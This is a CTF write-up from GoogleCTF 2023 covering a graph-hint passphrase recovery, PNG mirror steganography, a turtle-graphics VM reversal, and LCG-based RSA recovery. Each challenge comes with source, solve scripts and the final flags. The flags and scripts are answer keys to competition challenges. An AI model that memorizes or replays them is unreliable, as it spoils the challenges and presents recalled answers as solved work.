Overview

Last weekend, I played GoogleCTF with b01lers. We ranked 55th in the end. I solved 2 misc, 1 rev, 1 crypto, and 3 pwn. This writeup will mostly focus on my own thought process while solving the challenges, and I’d recommand reading the official writeups as well.

Challenge solved after the competition are marked as [*]


Misc

npc

1
2
3
4
A friend handed me this map and told me that it will lead me to the flag. 
It is confusing me and I don't know how to read it, can you help me out?

solves: 102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# Copyright 2023 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""This file encrypts a given file using a generated, easy to remember password.

Additionally, it generates a hint in case you forgot the password.
"""

import dataclasses
import re
import secrets
import sys

from pyrage import passphrase


def get_word_list():
  with open('USACONST.TXT', encoding='ISO8859') as f:
    text = f.read()
  return list(set(re.sub('[^a-z]', ' ', text.lower()).split()))


def generate_password(num_words):
  word_list = get_word_list()
  return ''.join(secrets.choice(word_list) for _ in range(num_words))


@dataclasses.dataclass
class Node:
  letter: str
  id: int


@dataclasses.dataclass
class Edge:
  a: Node
  b: Node


@dataclasses.dataclass
class Graph:
  nodes: list[Node]
  edges: list[Edge]


class IdGen:
  def __init__(self):
    self.ids = set()

  def generate_id(self):
    while True:
      new_id = secrets.randbelow(1024**3)
      if new_id not in self.ids:
        self.ids.add(new_id)
        return new_id


def generate_hint(password):
  random = secrets.SystemRandom()
  id_gen = IdGen()
  graph = Graph([],[])
  for letter in password:
    graph.nodes.append(Node(letter, id_gen.generate_id()))
  for a, b in zip(graph.nodes, graph.nodes[1:]):
    graph.edges.append(Edge(a, b))
  for _ in range(int(len(password)**1.3)):
    a, b = random.sample(graph.nodes, 2)
    graph.edges.append(Edge(a, b))
  random.shuffle(graph.nodes)
  random.shuffle(graph.edges)
  for edge in graph.edges:
    if random.random() % 2:
      edge.a, edge.b = edge.b, edge.a
  return graph

def write_hint(graph, out_file):
  out_file.write('graph {\n')
  for node in graph.nodes:
    out_file.write(f'    {node.id} [label={node.letter}];\n')
  for edge in graph.edges:
    out_file.write(f'    {edge.a.id} -- {edge.b.id};\n')
  out_file.write('}\n')


def encrypt(num_words, secret):
  password = generate_password(num_words)
  hint = generate_hint(password)
  with open('hint.dot', 'w') as hint_file:
    write_hint(hint, hint_file)
  filename = 'secret.age'
  with open(filename, 'wb') as f:
    f.write(passphrase.encrypt(secret, password))
  print(f'Your secret is now inside password-protected file {filename}.')
  print(f'Use the password {password} to access it.')
  print(
      'In case you forgot the password, maybe hint.dot will help your memory.')


if __name__ == '__main__':
  encrypt(num_words=int(sys.argv[1]), secret=sys.argv[2].encode('utf-8'))

In this challenge, the flag file is encrypted using a passphrase that generated from a wordlist. A hint.dot file is also provided. THe most import part is to identiy how the hint is generate. In the encrypt.py file we can see that each letter is assigned a node, and each consecutive letters are link with a directly edge. Afterward, random edges are added, the node orders are shuffled, and the edge order are randomly flipped. Since there are a lot of randomness in the hint, all we can extract from the hint are what letters are in the passphrase, and what letters can be connected. I parse the hint file and get the list of letters presented. I then treat all edges as bi-directional, and filter the words based on the following criteria.

  1. The letters in the word can be found in the passphrase
  2. There are edges between any two consecutive letter pairs

This filters the word list down to 86 words, I then randomly generates passphrase from that wordlist that have the same word sets as the passphrase. I then permutes that word sets and test all permutations until the correct passphrase is found. See solve.py for more detail.

I think that the word set phase can potentially be change to a more efficient approach, as that problem is similar to a subset sum, not sure if there are any potential in a more efficient algorithm.

CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import re
import random
import secrets
from tqdm import tqdm
import string
from sage.all import *
from pyrage import passphrase
from itertools import permutations

def get_word_list():
    with open('USACONST.TXT', encoding='ISO8859') as f:
        text = f.read()
    return list(set(re.sub('[^a-z]', ' ', text.lower()).split()))

word_list = get_word_list()

def get_valid_nodes():
    with open("hint.dot") as f:
        header = f.readline()
        tmp = f.readline()
        nodes = {}
        inv_nodes = {}
        edges = []
        while "label" in tmp:
            node_id, letter = tmp.split('[label=')
            letter = letter[0]
            node_id = int(node_id)
            nodes[node_id] = letter
            if letter in inv_nodes:
                inv_nodes[letter].append(node_id)
            else:
                inv_nodes[letter] = [node_id]

            tmp = f.readline()

        while "--" in tmp:
            fid, tid = tmp.split('--')
            fid = int(fid)
            tid = int(tid[:-2]) # ;\n
            edges.append((fid, tid))
            edges.append((tid, fid)) # since it's randomly flipped, treat as non directional

            tmp = f.readline()

        return nodes, inv_nodes, edges

nodes, inv_nodes, edges = get_valid_nodes()

def path_exist(inv_map, edge, f, t):
    for fr in inv_map[f]:
        for dst in inv_map[t]:
            if (fr, dst) in edge:
                return True
#    print(f, t)
    return False

#print(n, e)



appeared_letter = list(nodes.values())
valid_words = []
for w in word_list:
    if not all(i in appeared_letter for i in w):
        continue

    for l in w:
        if w.count(l) > appeared_letter.count(l):
            break
    else:
        for s, e in zip(w, w[1:]):
            if not path_exist(inv_nodes, edges, s, e):
                break
        else:
            valid_words.append(w)


print(valid_words)
print(len(appeared_letter))
print(len(valid_words))

verify = "".join(sorted(appeared_letter)).strip()
print(verify)
print(type(verify))
password_len = len(verify)

def generate_password(num_words):
  word_list = valid_words
  return ''.join(secrets.choice(word_list) for _ in range(num_words))

def word2vec(word):
    return [word.count(l) for l in string.ascii_lowercase]


#verify = "aacddeeeeegiiinnnoorrrsssstt"

secret = open("secret.age", "rb").read()

for words in Subsets(valid_words):
    password = "".join(words)
    if len(password) != password_len:
        continue
    s_password = "".join(sorted(password))
#    print(s_password)
#    print(type(s_password), type(verify))
    if s_password in verify:
        print(password)
        print(words)

        for ws in permutations(words):
            password = "".join(ws)
            print(password)

            for s, e in zip(password, password[1:]):
                if not path_exist(inv_nodes, edges, s, e):
                    break
            else:
                try:
                    print(passphrase.decrypt(secret, password))
                    print("FOUND!!!!")
                    exit(1)
                except Exception as e:
                    pass
#standardwatersigngivenchosen
#b'CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}'

symatrix

1
2
3
4
5
The CIA has been tracking a group of hackers who communicate using PNG files embedded with a custom steganography algorithm. 
An insider spy was able to obtain the encoder, but it is not the original code. 
You have been tasked with reversing the encoder file and creating a decoder as soon as possible in order to read the most recent PNG file they have sent.

solves: 110

encoder.c (From googleCTF github)

The challenge comes with a large encoder.c file, this seems intimidating initially. However, reading through the code a little bit, we quickly found out that there are part of the original python file written in the comment. Using a simple parser I extracted the python source from encoder.c file. (My parser actually missed a else: line, and I manuelly added that afterward)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
f = open("encoder.c")

source = ["" for i in range(70)]
for line in f:
    if "encoder.py" in line:
#        print(line)
        try:
            line_number = int(line.split(':')[-1].split(" ")[0])
        except Exception:
            continue
#        print(line_number)
        for af in range(5):
            temp = f.readline()
            if "<<<<<" in temp:
                source[line_number] = temp[3:-1].split("#")[0]

with open("encoder.py", "w") as f:
    f.write("\n".join(source))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from PIL import Image
from random import randint
import binascii

def hexstr_to_binstr(hexstr):
    n = int(hexstr, 16)
    bstr = ''
    while n > 0:
        bstr = str(n % 2) + bstr
        n = n >> 1
    if len(bstr) % 8 != 0:
        bstr = '0' + bstr
    return bstr


def pixel_bit(b):
    return tuple((0, 1, b))


def embed(t1, t2):
    return tuple((t1[0] + t2[0], t1[1] + t2[1], t1[2] + t2[2]))


def full_pixel(pixel):
    return pixel[1] == 255 or pixel[2] == 255

print("Embedding file...")

bin_data = open("./flag.txt", 'rb').read()
data_to_hide = binascii.hexlify(bin_data).decode('utf-8')

base_image = Image.open("./original.png")

x_len, y_len = base_image.size
nx_len = x_len * 2

new_image = Image.new("RGB", (nx_len, y_len))

base_matrix = base_image.load()
new_matrix = new_image.load()

binary_string = hexstr_to_binstr(data_to_hide)
remaining_bits = len(binary_string)

nx_len = nx_len - 1
next_position = 0

for i in range(0, y_len):
    for j in range(0, x_len):

        pixel = new_matrix[j, i] = base_matrix[j, i]

        if remaining_bits > 0 and next_position <= 0 and not full_pixel(pixel):
            new_matrix[nx_len - j, i] = embed(pixel_bit(int(binary_string[0])),pixel)
            next_position = randint(1, 17)
            binary_string = binary_string[1:]
            remaining_bits -= 1
        else:
            new_matrix[nx_len - j, i] = pixel
            next_position -= 1


new_image.save("./symatrix.png")
new_image.close()
base_image.close()

print("Work done!")
exit(1)

Base on the encoder.py file, it’s clear that the original image is mirrored, and the flag bit and embedded to the right half of the image. The pixel that are modifyed are always increamented by either (0, 1, 0) or (0, 1, 1), with the formar encoding 0 and the latter encoding 1. To decode the flag, we simply go through all the bytes, and extract those that are different left side v.s. right side. We can ignore the random offset since only the pixels that have data encoded are changed.

CTF{W4ke_Up_Ne0+Th1s_I5_Th3_Fl4g!}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from PIL import Image
import binascii
from Crypto.Util.number import long_to_bytes

encoded_image = Image.open("./symatrix.png")
x_len, y_len = encoded_image.size

encoded_matrix = encoded_image.load()

center = x_len//2

flag_bits = ""
for i in range(0, y_len):
    for j in range(0, x_len//2):
        if encoded_matrix[j, i] == encoded_matrix[x_len-1-j, i]:
            continue
        else:
            flag_bits += str(encoded_matrix[x_len-1-j, i][2] - encoded_matrix[j, i][2])
#            print(flag_bits)

flag = long_to_bytes(int(flag_bits, 2))
print(flag)

Reverse

Turtle

1
2
3
Are we not all but turtles drifting in the sea, executing instructions as we stumble upon them?

solves: 27

turt.py (From googleCTF github)

This is a vm implemented using turtles! After watching the program run for a bit, we can observe what each turtle are responsible for. For example, the S turtle act like a stack, C is like code, and R is like some registers. Based on this knowledge, I write a translator (translate.py) from c.png “code” file to get a pseudocode (trans.txt) of the program. I notice that each 5 pixel movement for the turtle seems to be for 1 unit, so I translate a lot of the moving instructions into pointer arithmatic, as they are easier to work with.

With the translated pseudocode, we notice that the program first check for the flag format, then make sure all characters are unique, make sure the characters are in a specific order, and lastly run some function on each character.

It took a while to understand that the function is actually a binary search on the character value, and match each step with some value in memory. For example, if the target value is smallar than the current middle element, we first match if the memory value is 1, then call the same search function recursively. To recover the flag, I extract the reference value, take all the found characters, and order it using the reording in the memory. See simplify.txt for notes taken during the process, and solve.py for more detail.

CTF{iT5_E-tUr+1es/AlL.7h3;waY:d0Wn}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
from Crypto.Util.number import long_to_bytes, bytes_to_long
from sage.all import *
from PIL import Image


# M: Memory
# S: Stack
# R: Register
def loadM(flag):
    global M
    M = [(ord(i), 0, 0) for i in flag] + [(0, 0, 0) for i in range(200)]

def readM(a):
    return f"M[{a}]"

def writeM(a, c):
    print(f"M[{a}] = {c}")


sp = 0
def loadS():
    global S
    S = [(255, 128, 128) for i in range(240)]
    sp = 120

def readS(a):
    return f"S[sp+{a}]"

def writeS(a, c):
    print(f"S[sp+{a}] = {c}")

def loadR():
    global R
    R = [(0, 0, 0) for i in range(9)]

def readR(a):
    return f"R[{a}]"

def writeR(a, c):
    print(f"R[{a}] = {c}")

def readRVal(rNum):
  return readC(readR(rNum))

def getRNum(colorOrInt):
  if type(colorOrInt) == tuple:
    colorOrInt = colorOrInt[0]
  return (colorOrInt-20) // 40

def read(op, isR, isP, isC):
  if isP:
    return readPVal(op, isR, isC)
  elif isR:
    return readRVal(getRNum(op))
  elif isC:
    return readC(op)
  raise BaseException("invalid insn")

def write(op, val, isR, isP, isC):
  if isP:
    writePVal(op, val, isR, isC)
  elif isR:
    writeRVal(getRNum(op), val)
  else:
    raise BaseException("invalid insn")

def writeRVal(rNum, val):
  writeR(rNum, cToColor(val))

def writePVal(op, val, isS, isC):
  a = readPA(op, isC)
  if isS:
    writeS(a, cToColor(val))
  else:
    writeM(a, cToColor(val))

def readPVal(op, isS, isC):
    a = readPA(op, isC)
    if isS:
        return readC(readS(a))
    else:
        return readC(readM(a))

def readPA(op, isC):
  if isC:
    return readC(op)
  a = ""
  if op[0] != 0:
    a = readRVal(getRNum(op[0])) + " + "
  if op[1] != 0:
    a += readRVal(getRNum(op[1])) + " + "
  a += readOneByteC(op[2])
  return a

def readC(op):
  if type(op) == str:
      return op
  c = op[0] + (op[1]<<8) + (op[2]<<16)
  if c >= (256**3)//2:
    c = -((256**3)-c)
  return str(c)

def readOneByteC(val):
  if val > 256//2:
    return str(-(256-val))
  return str(val)

def cToColor(val):
  return f"{val}"
  if val < 0:
    val = 256**3 + val
  return [val%256, (val>>8)%256, (val>>16)%256]

im = Image.open("c.png").convert("RGB")
w, h = im.size
#print(w, h)
px = im.load()
C = [[px[i, j] for i in range(3)] for j in range(h)]
C+= [[px[i, j] for i in range(3, 6)] for j in range(h)]
C+= [[px[i, j] for i in range(6, 9)] for j in range(h)]
#print(C)

im = Image.open("m.png").convert("RGB")
w, h = im.size
#print(w, h)
px = im.load()
M = [px[j, i] for i in range(h) for j in range(w)]
print([i[0] for i in M[65:95]])
print([i[0] for i in M[95:]])


#print(C)

ip = 0
def run():
    global sp
    for ip in range(h*3):
        print(f"<{ip:04d}>: ", end="")
        color0 = C[ip][0]
        cmpcolor = (color0[0]&0xfc, color0[1]&0xfc, color0[2]&0xfc)
        color1 = C[ip][1]
        color2 = C[ip][2]

        isR1 = color0[0]&1 != 0
        isP1 = color0[1]&1 != 0
        isC1 = color0[2]&1 != 0
        isR2 = color0[0]&2 != 0
        isP2 = color0[1]&2 != 0

ip = 0
def run():
    global sp
    for ip in range(h*3):
        print(f"<{ip:04d}>: ", end="")
        color0 = C[ip][0]
        cmpcolor = (color0[0]&0xfc, color0[1]&0xfc, color0[2]&0xfc)
        color1 = C[ip][1]
        color2 = C[ip][2]

        isR1 = color0[0]&1 != 0
        isP1 = color0[1]&1 != 0
        isC1 = color0[2]&1 != 0
        isR2 = color0[0]&2 != 0
        isP2 = color0[1]&2 != 0
        isC2 = color0[2]&2 != 0

        if cmpcolor == (0,252,0):
            print("print('correct flag!')")
        elif cmpcolor == (252,0,0):
            print("print('wrong flag :C')")
        elif cmpcolor == (204, 204, 252):
            print(f"sp += {readC(color1)}")
        elif cmpcolor == (220, 252, 0) or cmpcolor == (252, 188, 0) or cmpcolor == (64, 224, 208) or cmpcolor == (156, 224, 188) or cmpcolor == (100, 148, 236) or cmpcolor == (252, 124, 80):
            if cmpcolor == (252, 188, 0):
                val2 = readPA(color2, isC2)
            else:
                val2 = read(color2, isR2, isP2, isC2)

            if cmpcolor == (220, 252, 0) or cmpcolor == (252, 188, 0):
                write(color1, val2, isR1, isP1, isC1)
            elif cmpcolor == (64, 224, 208):
                val1 = read(color1, isR1, isP1, isC1)
                write(color1, val1+" + "+val2, isR1, isP1, isC1)
            elif cmpcolor == (156, 224, 188):
                val1 = read(color1, isR1, isP1, isC1)
                write(color1, val1+" - "+val2, isR1, isP1, isC1)
            elif cmpcolor == (100, 148, 236):
                val1 = read(color1, isR1, isP1, isC1)
                write(color1, val1+">>"+val2, isR1, isP1, isC1)
            elif cmpcolor == (252, 124, 80):
                val1 = read(color1, isR1, isP1, isC1)
                print(f"cmp {val1} {val2}")
#                writeRVal(6, 16581630 if (val1 == val2) else 0)
#                writeRVal(7, 16581630 if (val1 < val2) else 0)
#                writeRVal(8, 16581630 if (val1 > val2) else 0)
        elif cmpcolor == (220, 48, 96):
#            e = readRVal(6)
#            l = readRVal(7)
#            g = readRVal(8)
            op = "j"
            if color0[0]&2 != 0:
                op+= "l"
            if color0[1]&2 != 0:
                op+= "g"
            if color0[0]&1 != 0:
                op+= "e"
            if color0[1]&1 != 0:
                op+= "ne"

            if op == "jlgene":
                op = "jmp"

            dest = f"{op} {ip}+{readC(color1)}-1"
            offset = f"{ip} + {readC(color1)}-1"
            try:
                offset_num = eval(offset)
                print(f"{op} <{offset_num:04d}>")
            except:
                print(dest)

        elif cmpcolor == (252, 0, 252):
            jmp = ((color1[0])//3)*h - color1[1] - 1
            print(f"call <{ip+jmp:04d}>")
#            writeS(0, (color1[0], color1[1], 127))
        elif cmpcolor == (128, 0, 128):
            print("ret")
        else:
            print()

run()

<0000>: sp += -83
<0001>: R[2] = M[0]
<0002>: cmp R[2] 67
<0003>: jne <0015>
<0004>: R[2] = M[1]
<0005>: cmp R[2] 84
<0006>: jne <0015>
<0007>: R[2] = M[2]
<0008>: cmp R[2] 70
<0009>: jne <0015>
<0010>: R[2] = M[3]
<0011>: cmp R[2] 123
<0012>: jne <0015>
<0013>: R[2] = M[34]
<0014>: cmp R[2] 125
<0015>: je <0016>
<0016>: print('wrong flag :C')
<0017>: S[sp+1] = 0
<0018>: cmp S[sp+1] 79
<0019>: jg <0023>
<0020>: R[2] = S[sp+1]
<0021>: S[sp+R[2] + 3] = 0
<0022>: S[sp+1] = S[sp+1] + 1
<0023>: jmp <0017>
<0024>: S[sp+2] = 4
<0025>: R[2] = S[sp+2]
<0026>: cmp R[2] 28
<0027>: jg <0053>
<0028>: R[2] = S[sp+2]
<0029>: R[5] = 0
<0030>: R[2] = M[R[2] + R[5] + 0]
<0031>: cmp R[2] 42
<0032>: jle <0037>
<0033>: R[2] = S[sp+2]
<0034>: R[5] = 0
<0035>: R[2] = M[R[2] + R[5] + 0]
<0036>: cmp R[2] 122
<0037>: jle <0038>
<0038>: print('wrong flag :C')
<0039>: R[2] = S[sp+2]
<0040>: R[5] = 0
<0041>: R[2] = M[R[2] + R[5] + 0]
<0042>: R[2] = R[2] - 43
<0043>: R[2] = S[sp+R[2] + 3]
<0044>: cmp R[2] 65535
<0045>: jne <0046>
<0046>: print('wrong flag :C')
<0047>: R[2] = S[sp+2]
<0048>: R[5] = 0
<0049>: R[2] = M[R[2] + R[5] + 0]
<0050>: R[2] = R[2] - 43
<0051>: S[sp+R[2] + 3] = 65535
<0052>: S[sp+2] = S[sp+2] + 1
<0053>: jmp <0024>
<0054>: call <0082>
<0055>: M[519] = 0
<0056>: S[sp+0] = 43
<0057>: cmp S[sp+0] 122
<0058>: jg <0067>
<0059>: R[2] = S[sp+0]
<0060>: R[5] = 30
<0061>: R[0] = 35
<0062>: R[1] = R[2]
<0063>: call <0165>
<0064>: R[2] = S[sp+0]
<0065>: R[2] = R[2] + 1
<0066>: S[sp+0] = R[2]
<0067>: jmp <0056>
<0068>: print('correct flag!')
<0069>:
<0070>:
<0071>:
<0072>:
<0073>:
<0074>:
<0075>:
<0076>:
<0077>:
<0078>:
<0079>:
<0080>:
<0081>:
<0082>:
<0083>: R[2] = 4
<0084>: S[sp+-2] = R[2]
<0085>: S[sp+-3] = 0
<0086>: R[2] = S[sp+-3]
<0087>: cmp R[2] 29
<0088>: jg <0100>
<0089>: R[2] = S[sp+-3]
<0090>: R[5] = R[2]
<0091>: R[2] = S[sp+-2]
<0092>: R[5] = R[5] + R[2]
<0093>: R[2] = S[sp+-3]
<0094>: R[4] = 65
<0095>: R[2] = M[R[2] + R[4] + 0]
<0096>: R[5] = M[R[5] + 0]
<0097>: R[4] = 35
<0098>: M[R[2] + R[4] + 0] = R[5]
<0099>: S[sp+-3] = S[sp+-3] + 1
<0100>: jmp <0085>
<0101>: ret
<0102>:
<0103>:
<0104>:
<0105>:
<0106>:
<0107>:
<0108>:
<0109>:
<0110>:
<0111>:
<0112>:
<0113>:
<0114>:
<0115>:
<0116>:
<0117>:
<0118>:
<0119>:
<0120>:
<0121>:
<0122>:
<0123>:
<0124>:
<0125>:
<0126>:
<0127>:
<0128>:
<0129>:
<0130>:
<0131>:
<0132>:
<0133>:
<0134>:
<0135>:
<0136>:
<0137>:
<0138>:
<0139>:
<0140>:
<0141>:
<0142>:
<0143>:
<0144>:
<0145>:
<0146>:
<0147>:
<0148>:
<0149>:
<0150>:
<0151>:
<0152>:
<0153>:
<0154>:
<0155>:
<0156>:
<0157>:
<0158>:
<0159>:
<0160>:
<0161>:
<0162>:
<0163>:
<0164>:
<0165>:
<0166>: sp += -4
<0167>: R[4] = R[1]
<0168>: S[sp+0] = R[0]
<0169>: R[2] = R[5]
<0170>: R[5] = R[4]
<0171>: S[sp+2] = R[5]
<0172>: S[sp+1] = R[2]
<0173>: R[2] = M[519]
<0174>: cmp R[2] 424
<0175>: jne <0176>
<0176>: print('wrong flag :C')
<0177>: cmp S[sp+1] 0
<0178>: jne <0186>
<0179>: R[2] = M[519]
<0180>: R[5] = R[2] + 1
<0181>: M[519] = R[5]
<0182>: R[5] = 95
<0183>: R[2] = M[R[2] + R[5] + 0]
<0184>: cmp R[2] 4
<0185>: je <0246>
<0186>: print('wrong flag :C')
<0187>: R[2] = S[sp+1]
<0188>: R[2] = R[2] - 1
<0189>: R[2] = R[2]>>1
<0190>: S[sp+3] = R[2]
<0191>: R[5] = S[sp+3]
<0192>: R[2] = S[sp+0]
<0193>: R[2] = R[2] + R[5]
<0194>: R[2] = M[R[2] + 0]
<0195>: cmp S[sp+2] R[2]
<0196>: jge <0211>
<0197>: R[2] = M[519]
<0198>: R[5] = R[2] + 1
<0199>: M[519] = R[5]
<0200>: R[5] = 95
<0201>: R[2] = M[R[2] + R[5] + 0]
<0202>: cmp R[2] 1
<0203>: je <0204>
<0204>: print('wrong flag :C')
<0205>: R[5] = S[sp+3]
<0206>: R[2] = S[sp+2]
<0207>: R[4] = S[sp+0]
<0208>: R[0] = R[4]
<0209>: R[1] = R[2]
<0210>: call <0165>
<0211>: jmp <0246>
<0212>: R[5] = S[sp+3]
<0213>: R[2] = S[sp+0]
<0214>: R[2] = R[2] + R[5]
<0215>: R[2] = M[R[2] + 0]
<0216>: cmp S[sp+2] R[2]
<0217>: jle <0238>
<0218>: R[2] = M[519]
<0219>: R[5] = R[2] + 1
<0220>: M[519] = R[5]
<0221>: R[5] = 95
<0222>: R[2] = M[R[2] + R[5] + 0]
<0223>: cmp R[2] 2
<0224>: je <0225>
<0225>: print('wrong flag :C')
<0226>: R[2] = S[sp+1]
<0227>: R[2] = R[2] - S[sp+3]
<0228>: R[2] = R[2] - 1
<0229>: R[5] = R[2]
<0230>: R[2] = S[sp+3]
<0231>: R[4] = R[2] + 1
<0232>: R[2] = S[sp+0]
<0233>: R[4] = R[4] + R[2]
<0234>: R[2] = S[sp+2]
<0235>: R[0] = R[4]
<0236>: R[1] = R[2]
<0237>: call <0165>
<0238>: jmp <0246>
<0239>: R[2] = M[519]
<0240>: R[5] = R[2] + 1
<0241>: M[519] = R[5]
<0242>: R[5] = 95
<0243>: R[2] = M[R[2] + R[5] + 0]
<0244>: cmp R[2] 3
<0245>: je <0246>
<0246>: print('wrong flag :C')
<0247>: sp += 4
<0248>: ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
M[0] = 67
M[1] = 84
M[2] = 70
M[3] = 123
M[4] = 125
for i in range(80):
        S[sp+i+3] = 0

len = 80

for j in range(4, 29):
        #M[j] in {42, 122}
        #all letter in this set is unique

for j in range(29):
        res = [0 for i in range(30)]
        shuffle = [23, 14, 7, 18, 12, 1, 28, 15, 26, 0, 5, 21, 27, 3, 11, 24, 13, 2, 8, 22, 6, 10, 29, 19, 17, 9, 20, 4, 16, 25]
        res[shuffle[j]] = M[j+4]

t = 0
def check(a, b, c):
        if t==424:
                print('wrong flag :target')
        if len == 0:
                R[2] = M[t + 95]
                t = t + 1
                if R[2] == 4:
                        return
                else:
                        print('wrong flag :target')

        mid_len = (len-1)//2
        mid_point = st + mid_len
        if target < M[mid_point]:
                R[2] = M[t + 95]
                t = t + 1
                if R[2] == 1:
                        return
                else:
                        print('wrong flag :target')

                check(st, target, mid_len)

        elif target > M[mid_point]:
                R[2] = M[t + 95]
                t = t + 1
                if R[2] == 2:
                        return
                else:
                        print('wrong flag :target')

                check(st+mid_len+1, target, len - mid_len - 1)

        else:
                R[2] = M[t + 95]
                t = t + 1
                if R[2] == 3:
                        return
                else:
                        print('wrong flag :target')
        return


for i in range(43, 122):
        check(35, i, 30) #R0, R1, R5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from PIL import Image

im = Image.open("m.png").convert("RGB")
w, h = im.size
#print(w, h)
px = im.load()
M = [px[j, i] for i in range(h) for j in range(w)]
ordering = [i[0] for i in M[65:95]]
finding = [i[0] for i in M[95:95+424]]

chars = [i for i in range(43, 123)]
finding = [4-i for i in finding if i in [3, 4]]

flag = ""
for i in range(len(chars)):
    if finding[i] == 1:
        flag+=chr(chars[i])

flag = "".join([flag[i] for i in ordering])
print("CTF{"+flag+"}")

Crypto

Least Common Genominator?

1
2
3
Someone used this program to send me an encrypted message but I can't read it! It uses something called an LCG, do you know what it is? I dumped the first six consecutive values generated from it but what do I do with it?!

solves: 352

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from secret import config
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, isPrime

class LCG:
    lcg_m = config.m
    lcg_c = config.c
    lcg_n = config.n

    def __init__(self, lcg_s):
        self.state = lcg_s

    def next(self):
        self.state = (self.state * self.lcg_m + self.lcg_c) % self.lcg_n
        return self.state

if __name__ == '__main__':

    assert 4096 % config.it == 0
    assert config.it == 8
    assert 4096 % config.bits == 0
    assert config.bits == 512

    # Find prime value of specified bits a specified amount of times
    seed = 211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635
    lcg = LCG(seed)
    primes_arr = []

    dump = True
    items = 0
    dump_file = open("dump.txt", "w")

    primes_n = 1
    while True:
        for i in range(config.it):
            while True:
                prime_candidate = lcg.next()
                if dump:
                    dump_file.write(str(prime_candidate) + '\n')
                    items += 1
                    if items == 6:
                        dump = False
                        dump_file.close()
                if not isPrime(prime_candidate):
                    continue
                elif prime_candidate.bit_length() != config.bits:
                    continue
                else:
                    primes_n *= prime_candidate
                    primes_arr.append(prime_candidate)
                    break

        # Check bit length
        if primes_n.bit_length() > 4096:
            print("bit length", primes_n.bit_length())
            primes_arr.clear()
            primes_n = 1
            continue
        else:
            break

    # Create public key 'n'
    n = 1
    for j in primes_arr:
        n *= j
    print("[+] Public Key: ", n)
    print("[+] size: ", n.bit_length(), "bits")

    # Calculate totient 'Phi(n)'
    phi = 1
    for k in primes_arr:
        phi *= (k - 1)

    # Calculate private key 'd'
    d = pow(config.e, -1, phi)

    # Generate Flag
    assert config.flag.startswith(b"CTF{")
    assert config.flag.endswith(b"}")
    enc_flag = bytes_to_long(config.flag)
    assert enc_flag < n

    # Encrypt Flag
    _enc = pow(enc_flag, config.e, n)

    with open ("flag.txt", "wb") as flag_file:
        flag_file.write(_enc.to_bytes(n.bit_length(), "little"))

    # Export RSA Key
    rsa = RSA.construct((n, config.e))
    with open ("public.pem", "w") as pub_file:
        pub_file.write(rsa.exportKey().decode())

This challenge is first generates p and q using a lcg, then use the p and q generated to encrypted the flag using rsa. Notice that the seed for lcg is provided, and the first 6 output of the lcg is provided. Therefore, if we recover the parameters for lcg, we can re-generate the same p and q from the program, and decrypt rsa accordingly.

While recovering m and c is trivial, recovering n is harder. I found this script and modify it a bit since the modulus end up not being a prime. After recoving the parameters, the rest of the solve are straight forward.

CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}

1
2
3
